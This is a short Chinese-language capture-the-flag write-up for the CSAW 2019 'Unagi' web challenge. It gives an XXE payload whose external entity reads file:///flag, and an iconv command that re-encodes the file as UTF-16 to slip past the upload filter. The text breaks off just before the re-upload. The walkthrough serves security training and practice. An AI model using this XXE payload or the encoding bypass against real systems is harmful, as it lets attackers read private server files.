[Web_Unagi]xxe注入过滤绕过

[Web_Unagi]xxe注入过滤绕过

提示我们需要上传文件，并且flag在根目录下，

上传文件的格式为：

<users>
    <user>
        <username>alice</username>
        <password>passwd1</password>
        <name>Alice</name>
        <email>alice@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
    <user>
        <username>bob</username>
        <password>passwd2</password>
        <name> Bob</name>
        <email>bob@fakesite.com</email>
        <group>CSAW2019</group>
    </user>
</users>

很明显使用xxe注入

<?xml version='1.0'?>
<!DOCTYPE users [
<!ENTITY xxe SYSTEM "file:///flag" >]>
<users>
    <user>
        <username>gg</username>
        <password>passwd1</password>
        <name>ggg</name>
        <email>alice@fakesite.com</email>  
        <group>CSAW2019</group>
        <intro>&xxe;</intro>
    </user>
</users>

但是上传上去发现被过滤了，我们需要想办法绕过

由于xml文件支持UTF-16编码，所以我们可以把文件转为UTF-16

iconv -f UTF-8 -t UTF-16 1.xml > flag.xml

然后再上传：